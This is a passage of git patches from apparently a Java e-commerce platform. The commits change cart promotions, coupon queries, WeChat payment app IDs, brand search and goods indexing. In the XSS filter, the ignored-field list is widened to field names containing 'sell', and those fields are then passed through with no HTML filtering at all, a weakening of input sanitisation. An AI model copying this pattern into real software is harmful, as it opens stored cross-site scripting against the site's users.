public class SkuPromotionRender implements CartRenderStep { return; case CART: case BUY_NOW: - return; case VIRTUAL: //循环购物车 for (CartVO cartVO : tradeDTO.getCartList()) { @@ -124,10 +123,10 @@ public class SkuPromotionRender implements CartRenderStep { for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { //赋予商品促销信息 for (Map.Entry entry : cartSkuVO.getPromotionMap().entrySet()) { - // 忽略拼团活动 - if (entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { + if (ignorePromotion(entry.getKey())) { continue; } + BasePromotions basePromotions = (BasePromotions) entry.getValue(); PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); @@ -142,5 +141,19 @@ public class SkuPromotionRender implements CartRenderStep { } } + /** + * 购物车促销类型 + */ + private Boolean ignorePromotion(String promotionKey) { + + // 忽略积分活动活动 忽略砍价活动 忽略优惠券活动 忽略拼团活动 + if (promotionKey.contains(PromotionTypeEnum.POINTS_GOODS.name()) + || promotionKey.contains(PromotionTypeEnum.KANJIA.name()) + || promotionKey.contains(PromotionTypeEnum.COUPON.name()) + || promotionKey.contains(PromotionTypeEnum.PINTUAN.name())) { + return true; + } + return false; + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index aafa8bc0..17c95a1b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -66,6 +66,7 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se @ApiModelProperty(value = "会员优惠券状态") private String memberCouponStatus; + @Override public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); @@ -96,12 +97,11 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) { switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) { case NEW: - queryWrapper.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())) - ; + queryWrapper.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())); break; case START: - queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())) - .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); + queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())); +// .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); break; case END: queryWrapper.nested(i -> i.lt(PromotionTools.START_TIME_COLUMN, new Date()).lt(PromotionTools.END_TIME_COLUMN, new Date())); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 70c224de..68dea115 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -2,6 +2,7 @@ package cn.lili.modules.promotion.serviceimpl; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.promotion.entity.dos.*; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.*; @@ -125,6 +126,7 @@ public class PromotionServiceImpl implements PromotionService { CouponSearchParams couponSearchParams = new CouponSearchParams(); couponSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); couponSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + couponSearchParams.setGetType(CouponGetEnum.FREE.name()); List couponVOS = this.couponService.listFindAll(couponSearchParams); for (Coupon coupon : couponVOS) { if (("platform").equals(coupon.getStoreId()) || index.getStoreId().equals(coupon.getStoreId())) { From e5511d5c09e992f15ceac5e5a05f9abd9893b3f4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 17:57:49 +0800 Subject: [PATCH 096/145] =?UTF-8?q?=E8=AE=A2=E5=8D=95=E8=81=94=E5=90=88?= =?UTF-8?q?=E6=9F=A5=E8=AF=A2=E5=B0=86innerjoin=20=E4=BF=AE=E6=94=B9?= =?UTF-8?q?=E4=B8=BA=20left=20join?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/modules/order/order/mapper/OrderMapper.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java index 6a62e8fd..27487d82 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java @@ -71,7 +71,7 @@ public interface OrderMapper extends BaseMapper { ",GROUP_CONCAT(oi.comment_status) as group_comment_status" + ",GROUP_CONCAT(oi.sn) as group_order_items_sn " + ",GROUP_CONCAT(oi.goods_price) as group_goods_price " + - " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") + " FROM li_order o LEFT JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") IPage queryByParams(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); /** From bdd1195d2050f611e19547918b1603a6c867fec7 Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 23 Dec 2021 08:17:45 +0800 Subject: [PATCH 097/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E7=AE=A1=E7=90=86?= =?UTF-8?q?=E5=91=98=E4=B8=8A=E4=B8=8B=E6=9E=B6=E5=95=86=E5=93=81=E6=8A=A5?= =?UTF-8?q?=E9=94=99=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/goods/serviceimpl/GoodsServiceImpl.java | 12 +++++++++--- .../order/cart/render/impl/SkuPromotionRender.java | 9 +++------ 2 files changed, 12 insertions(+), 9 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 4bf76f61..da2f7b69 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -521,7 +521,9 @@ public class GoodsServiceImpl extends ServiceImpl implements private LambdaUpdateWrapper getUpdateWrapperByStoreAuthority() { LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); AuthUser authUser = this.checkStoreAuthority(); - updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + if (authUser != null) { + updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + } return updateWrapper; } @@ -563,7 +565,9 @@ public class GoodsServiceImpl extends ServiceImpl implements private LambdaUpdateWrapper getUpdateWrapperByManagerAuthority() { LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); AuthUser authUser = this.checkStoreAuthority(); - updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + if (authUser != null) { + updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + } return updateWrapper; } @@ -575,7 +579,9 @@ public class GoodsServiceImpl extends ServiceImpl implements private LambdaQueryWrapper getQueryWrapperByStoreAuthority() { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); AuthUser authUser = this.checkStoreAuthority(); - queryWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + if (authUser != null) { + queryWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + } return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index adc4bc60..3302449e 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -144,16 +144,13 @@ public class SkuPromotionRender implements CartRenderStep { /** * 购物车促销类型 */ - private Boolean ignorePromotion(String promotionKey) { + private boolean ignorePromotion(String promotionKey) { // 忽略积分活动活动 忽略砍价活动 忽略优惠券活动 忽略拼团活动 - if (promotionKey.contains(PromotionTypeEnum.POINTS_GOODS.name()) + return promotionKey.contains(PromotionTypeEnum.POINTS_GOODS.name()) || promotionKey.contains(PromotionTypeEnum.KANJIA.name()) || promotionKey.contains(PromotionTypeEnum.COUPON.name()) - || promotionKey.contains(PromotionTypeEnum.PINTUAN.name())) { - return true; - } - return false; + || promotionKey.contains(PromotionTypeEnum.PINTUAN.name()); } } From dfcf71aec7433ac0ac7651d62e9bdac547c1a81d Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 23 Dec 2021 10:55:43 +0800 Subject: [PATCH 098/145] =?UTF-8?q?=E7=A7=BB=E9=99=A4mongo,=E5=B0=86?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E6=97=A5=E5=BF=97=E5=AD=98=E5=82=A8=E5=9C=A8?= =?UTF-8?q?es=E3=80=82=E4=BF=AE=E5=A4=8D=E6=8B=BC=E5=9B=A2=E5=95=86?= =?UTF-8?q?=E5=93=81=E7=9A=84=E6=AD=A3=E5=B8=B8=E8=B4=AD=E4=B9=B0=E4=BB=B7?= =?UTF-8?q?=E6=A0=BC=E4=B8=BA=E6=8B=BC=E5=9B=A2=E4=BB=B7=E6=A0=BC=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../common/security/filter/XssHttpServletRequestWrapper.java | 1 + 1 file changed, 1 insertion(+) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 928436f3..c6164e73 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -48,6 +48,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { "encrypted", "iv", "mail", + "seller", "privateKey", "wechatpay", }; From f086a58096d997ae55454cbb84745d57e129435b Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 23 Dec 2021 10:58:19 +0800 Subject: [PATCH 099/145] =?UTF-8?q?=E6=B7=BB=E5=8A=A0xss=E8=BF=87=E6=BB=A4?= =?UTF-8?q?sell=E5=85=B3=E9=94=AE=E5=AD=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../common/security/filter/XssHttpServletRequestWrapper.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index c6164e73..3ce0a539 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -48,7 +48,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { "encrypted", "iv", "mail", - "seller", + "sell", "privateKey", "wechatpay", }; From 5f16a5c791c4511e7f82ab82d292fdbdcc6761d6 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 23 Dec 2021 11:58:47 +0800 Subject: [PATCH 100/145] =?UTF-8?q?=E5=90=84=E4=B8=AA=E5=BA=94=E7=94=A8?= =?UTF-8?q?=E5=BE=AE=E4=BF=A1=E6=94=AF=E4=BB=98=E9=85=8D=E7=BD=AE=E5=88=86?= =?UTF-8?q?=E5=BC=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../kit/plugin/wechat/WechatPlugin.java | 63 ++++++++----------- .../dto/payment/WechatPaymentSetting.java | 10 ++- 2 files changed, 36 insertions(+), 37 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java index 646ef0c7..a6e0972b 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java @@ -7,7 +7,6 @@ import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; -import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -40,7 +39,6 @@ import cn.lili.modules.payment.kit.plugin.wechat.model.*; import cn.lili.modules.payment.service.PaymentService; import cn.lili.modules.payment.service.RefundLogService; import cn.lili.modules.system.entity.dos.Setting; -import cn.lili.modules.system.entity.dto.connect.WechatConnectSetting; import cn.lili.modules.system.entity.dto.connect.dto.WechatConnectSettingItem; import cn.lili.modules.system.entity.dto.payment.WechatPaymentSetting; import cn.lili.modules.system.entity.enums.SettingEnum; @@ -133,9 +131,14 @@ public class WechatPlugin implements Payment { //回传数据 String attach = URLEncoder.createDefault().encode(JSONUtil.toJsonStr(payParam), StandardCharsets.UTF_8); + WechatPaymentSetting setting = wechatPaymentSetting(); + String appid = setting.getServiceAppId(); + if (appid == null) { + throw new ServiceException(ResultCode.WECHAT_PAYMENT_NOT_SETTING); + } UnifiedOrderModel unifiedOrderModel = new UnifiedOrderModel() - .setAppid(setting.getAppId()) + .setAppid(appid) .setMchid(setting.getMchId()) .setDescription(cashierParam.getDetail()) .setOut_trade_no(outOrderNo) @@ -189,8 +192,12 @@ public class WechatPlugin implements Payment { String attach = URLEncoder.createDefault().encode(JSONUtil.toJsonStr(payParam), StandardCharsets.UTF_8); WechatPaymentSetting setting = wechatPaymentSetting(); + String appid = setting.getServiceAppId(); + if (appid == null) { + throw new ServiceException(ResultCode.WECHAT_PAYMENT_NOT_SETTING); + } UnifiedOrderModel unifiedOrderModel = new UnifiedOrderModel() - .setAppid(setting.getAppId()) + .setAppid(appid) .setMchid(setting.getMchId()) .setDescription(cashierParam.getDetail()) .setOut_trade_no(outOrderNo) @@ -220,7 +227,7 @@ public class WechatPlugin implements Payment { String body = response.getBody(); JSONObject jsonObject = JSONUtil.parseObj(body); String prepayId = jsonObject.getStr("prepay_id"); - Map map = WxPayKit.jsApiCreateSign(setting.getAppId(), prepayId, setting.getApiclient_key()); + Map map = WxPayKit.jsApiCreateSign(appid, prepayId, setting.getApiclient_key()); log.info("唤起支付参数:{}", map); return ResultUtil.data(map); @@ -250,8 +257,12 @@ public class WechatPlugin implements Payment { String attach = URLEncoder.createDefault().encode(JSONUtil.toJsonStr(payParam), StandardCharsets.UTF_8); WechatPaymentSetting setting = wechatPaymentSetting(); + String appid = setting.getAppId(); + if (appid == null) { + throw new ServiceException(ResultCode.WECHAT_PAYMENT_NOT_SETTING); + } UnifiedOrderModel unifiedOrderModel = new UnifiedOrderModel() - .setAppid(setting.getAppId()) + .setAppid(appid) .setMchid(setting.getMchId()) .setDescription(cashierParam.getDetail()) .setOut_trade_no(outOrderNo) @@ -280,7 +291,7 @@ public class WechatPlugin implements Payment { if (verifySignature) { JSONObject jsonObject = JSONUtil.parseObj(response.getBody()); String prepayId = jsonObject.getStr("prepay_id"); - Map map = WxPayKit.appPrepayIdCreateSign(setting.getAppId(), + Map map = WxPayKit.appPrepayIdCreateSign(appid, setting.getMchId(), prepayId, setting.getApiclient_key(), SignType.HMACSHA256); @@ -313,8 +324,13 @@ public class WechatPlugin implements Payment { String attach = URLEncoder.createDefault().encode(JSONUtil.toJsonStr(payParam), StandardCharsets.UTF_8); WechatPaymentSetting setting = wechatPaymentSetting(); + + String appid = setting.getServiceAppId(); + if (appid == null) { + throw new ServiceException(ResultCode.WECHAT_PAYMENT_NOT_SETTING); + } UnifiedOrderModel unifiedOrderModel = new UnifiedOrderModel() - .setAppid(setting.getAppId()) + .setAppid(appid) .setMchid(setting.getMchId()) .setDescription(cashierParam.getDetail()) .setOut_trade_no(outOrderNo) @@ -380,10 +396,9 @@ public class WechatPlugin implements Payment { //微信小程序,appid 需要单独获取,这里读取了联合登陆配置的appid ,实际场景小程序自动登录,所以这个appid是最为保险的做法 //如果有2开需求,这里需要调整,修改这个appid的获取途径即可 - WechatConnectSettingItem wechatConnectSettingItem = getWechatMPSetting(); - String appid = null; - if (wechatConnectSettingItem != null) { - appid = getWechatMPSetting().getAppId(); + String appid = wechatPaymentSetting().getMpAppId(); + if (appid == null) { + throw new ServiceException(ResultCode.WECHAT_PAYMENT_NOT_SETTING); } String attach = URLEncoder.createDefault().encode(JSONUtil.toJsonStr(payParam), StandardCharsets.UTF_8); @@ -685,28 +700,4 @@ public class WechatPlugin implements Payment { cipherText ); } - - - /** - * 获取微信小程序配置 - * - * @return - */ - private WechatConnectSettingItem getWechatMPSetting() { - Setting setting = settingService.get(SettingEnum.WECHAT_CONNECT.name()); - - WechatConnectSetting wechatConnectSetting = JSONUtil.toBean(setting.getSettingValue(), WechatConnectSetting.class); - - if (wechatConnectSetting == null) { - throw new ServiceException(ResultCode.WECHAT_CONNECT_NOT_EXIST); - } - //寻找对应对微信小程序登录配置 - for (WechatConnectSettingItem wechatConnectSettingItem : wechatConnectSetting.getWechatConnectSettingItems()) { - if (wechatConnectSettingItem.getClientType().equals(ClientTypeEnum.WECHAT_MP.name())) { - return wechatConnectSettingItem; - } - } - - throw new ServiceException(ResultCode.WECHAT_CONNECT_NOT_EXIST); - } } diff --git a/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java b/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java index b1aa7a39..9dc4a73d 100644 --- a/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java +++ b/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java @@ -14,9 +14,17 @@ import lombok.experimental.Accessors; public class WechatPaymentSetting { /** - * 应用id + * APP应用id */ private String appId; + /** + * 小程序应用id + */ + private String mpAppId; + /** + * 服务号应用id + */ + private String serviceAppId; /** * 商户号 */ From 40bc890870d4bc8fa2e4d793681bfe390a2fdb06 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 23 Dec 2021 15:27:06 +0800 Subject: [PATCH 101/145] =?UTF-8?q?=E7=A9=BA=E5=93=81=E7=89=8C=E9=97=AE?= =?UTF-8?q?=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../search/serviceimpl/EsGoodsIndexServiceImpl.java | 2 +- .../search/serviceimpl/EsGoodsSearchServiceImpl.java | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 67faf657..c74b7c56 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -314,7 +314,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements resultMap.put(KEY_SUCCESS, 0); resultMap.put(KEY_FAIL, 0); resultMap.put(KEY_PROCESSED, 0); - cache.put(CachePrefix.INIT_INDEX_PROCESS.getPrefix() + "", resultMap); + cache.put(CachePrefix.INIT_INDEX_PROCESS.getPrefix(), resultMap); if (!goodsIndexList.isEmpty()) { goodsIndexRepository.deleteAll(); for (EsGoodsIndex goodsIndex : goodsIndexList) { diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java index 755d445f..663babc8 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java @@ -15,6 +15,7 @@ import cn.lili.modules.search.entity.dto.HotWordsDTO; import cn.lili.modules.search.entity.dto.ParamOptions; import cn.lili.modules.search.entity.dto.SelectorOptions; import cn.lili.modules.search.service.EsGoodsSearchService; +import com.alibaba.druid.util.StringUtils; import lombok.extern.slf4j.Slf4j; import org.apache.lucene.search.join.ScoreMode; import org.elasticsearch.common.lucene.search.function.FieldValueFactorFunction; @@ -212,6 +213,7 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { for (int i = 0; i < brandBuckets.size(); i++) { String brandId = brandBuckets.get(i).getKey().toString(); //当商品品牌id为0时,代表商品没有选择品牌,所以过滤掉品牌选择器 + //当品牌id为空并且 if (brandId.equals("0") || (CharSequenceUtil.isNotEmpty(goodsSearch.getBrandId()) && Arrays.asList(goodsSearch.getBrandId().split("@")).contains(brandId))) { @@ -221,6 +223,9 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { String brandName = ""; if (brandBuckets.get(i).getAggregations() != null && brandBuckets.get(i).getAggregations().get(ATTR_BRAND_NAME) != null) { brandName = this.getAggregationsBrandOptions(brandBuckets.get(i).getAggregations().get(ATTR_BRAND_NAME)); + if (StringUtils.isEmpty(brandName)) { + continue; + } } String brandUrl = ""; @@ -228,6 +233,9 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { brandUrlBuckets.get(i).getAggregations() != null && brandUrlBuckets.get(i).getAggregations().get(ATTR_BRAND_URL) != null) { brandUrl = this.getAggregationsBrandOptions(brandUrlBuckets.get(i).getAggregations().get(ATTR_BRAND_URL)); + if (StringUtils.isEmpty(brandUrl)) { + continue; + } } SelectorOptions so = new SelectorOptions(); so.setName(brandName); From cdfeb5dbdcc308209128e33c48a33a9680c842fa Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 23 Dec 2021 17:17:31 +0800 Subject: [PATCH 102/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E8=AE=A2=E5=8D=95=E7=9A=84=E5=94=AE=E5=90=8E=E5=95=86=E5=93=81?= =?UTF-8?q?=E6=95=B0=E9=87=8F=E6=97=B6=EF=BC=8C=E4=BC=A0=E9=80=92goodsId?= =?UTF-8?q?=E6=94=B9=E6=88=90goodsSkuId?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/modules/payment/kit/RefundSupport.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java index 4cf4aac8..e8b75859 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java @@ -81,7 +81,7 @@ public class RefundSupport { **/ private void updateReturnGoodsNumber(AfterSale afterSale) { //根据商品id及订单sn获取子订单 - OrderItem orderItem = orderItemService.getByOrderSnAndSkuId(afterSale.getOrderSn(), afterSale.getGoodsId()); + OrderItem orderItem = orderItemService.getByOrderSnAndSkuId(afterSale.getOrderSn(), afterSale.getSkuId()); orderItem.setReturnGoodsNumber(afterSale.getNum() + orderItem.getReturnGoodsNumber()); From f4a07b2911f64018fb3b71a1ae154ced31c07334 Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 23 Dec 2021 19:22:00 +0800 Subject: [PATCH 103/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=96=87=E7=AB=A0?= =?UTF-8?q?=E5=86=85=E5=AE=B9=E7=BC=96=E8=BE=91=E6=97=A0=E6=A0=BC=E5=BC=8F?= =?UTF-8?q?=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../common/security/filter/XssHttpServletRequestWrapper.java | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 3ce0a539..8b36dd74 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -2,7 +2,6 @@ package cn.lili.common.security.filter; import cn.hutool.core.text.CharSequenceUtil; -import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; import lombok.extern.slf4j.Slf4j; import org.owasp.html.Sanitizers; @@ -268,7 +267,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private String filterXss(String name, String value) { if (CharSequenceUtil.containsAny(name.toLowerCase(Locale.ROOT), IGNORE_FIELD)) { // 忽略的处理,(过滤敏感字符) - return HtmlUtil.unescape(HtmlUtil.filter(value)); + return value; } else { return cleanXSS(value); } From b648aa94b386ba526f65e56167390089c429cc6a Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 24 Dec 2021 14:59:38 +0800 Subject: [PATCH 104/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E9=A6=96=E6=AC=A1?= =?UTF-8?q?=E5=8F=91=E5=B8=83=E5=95=86=E5=93=81=E4=B8=8D=E4=BC=9A=E7=94=9F?= =?UTF-8?q?=E6=88=90=E5=95=86=E5=93=81=E7=B4=A2=E5=BC=95=E9=97=AE=E9=A2=98?= =?UTF-8?q?=EF=BC=9B=E4=BB=A3=E7=A0=81=E4=BC=98=E5=8C=96=EF=BC=9B=E4=BF=AE?= =?UTF-8?q?=E5=A4=8Dbug=EF=BC=9B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 34 +++++++++++-------- .../dto/DistributionGoodsSearchParams.java | 12 +++++++ .../service/DistributionGoodsService.java | 26 +++++++++++++- .../DistributionSelectedGoodsService.java | 7 ++++ .../DistributionGoodsServiceImpl.java | 32 +++++++++++++++++ .../DistributionSelectedGoodsServiceImpl.java | 12 +++++++ .../goods/entity/dto/GoodsSearchParams.java | 12 +++++-- .../modules/goods/service/GoodsService.java | 10 +++++- .../goods/serviceimpl/GoodsServiceImpl.java | 13 +++++++ .../serviceimpl/GoodsSkuServiceImpl.java | 16 +++++++-- .../modules/store/entity/dos/StoreDetail.java | 1 - .../store/entity/dto/AdminStoreApplyDTO.java | 1 - .../store/entity/dto/StoreEditDTO.java | 1 - .../goods/GoodsStoreController.java | 2 +- 14 files changed, 152 insertions(+), 27 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index b86dbe59..3c1095e1 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -8,7 +8,7 @@ import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.event.GoodsCommentCompleteEvent; import cn.lili.modules.distribution.entity.dos.DistributionGoods; -import cn.lili.modules.distribution.entity.dos.DistributionSelectedGoods; +import cn.lili.modules.distribution.entity.dto.DistributionGoodsSearchParams; import cn.lili.modules.distribution.service.DistributionGoodsService; import cn.lili.modules.distribution.service.DistributionSelectedGoodsService; import cn.lili.modules.goods.entity.dos.*; @@ -31,8 +31,6 @@ import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.store.service.StoreService; import cn.lili.rocketmq.tags.GoodsTagsEnum; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import lombok.extern.slf4j.Slf4j; import org.apache.rocketmq.common.message.MessageExt; import org.apache.rocketmq.spring.annotation.RocketMQMessageListener; @@ -258,7 +256,10 @@ public class GoodsMessageListener implements RocketMQListener { List goodsIndices = new ArrayList<>(); for (Goods goods : goodsList) { //如果商品通过审核&&并且已上架 - List goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper().eq(GoodsSku::getGoodsId, goods.getId()).gt(GoodsSku::getQuantity, 0)); + GoodsSearchParams searchParams = new GoodsSearchParams(); + searchParams.setGoodsId(goods.getId()); + searchParams.setGeQuantity(0); + List goodsSkuList = this.goodsSkuService.getGoodsSkuByList(searchParams); if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && 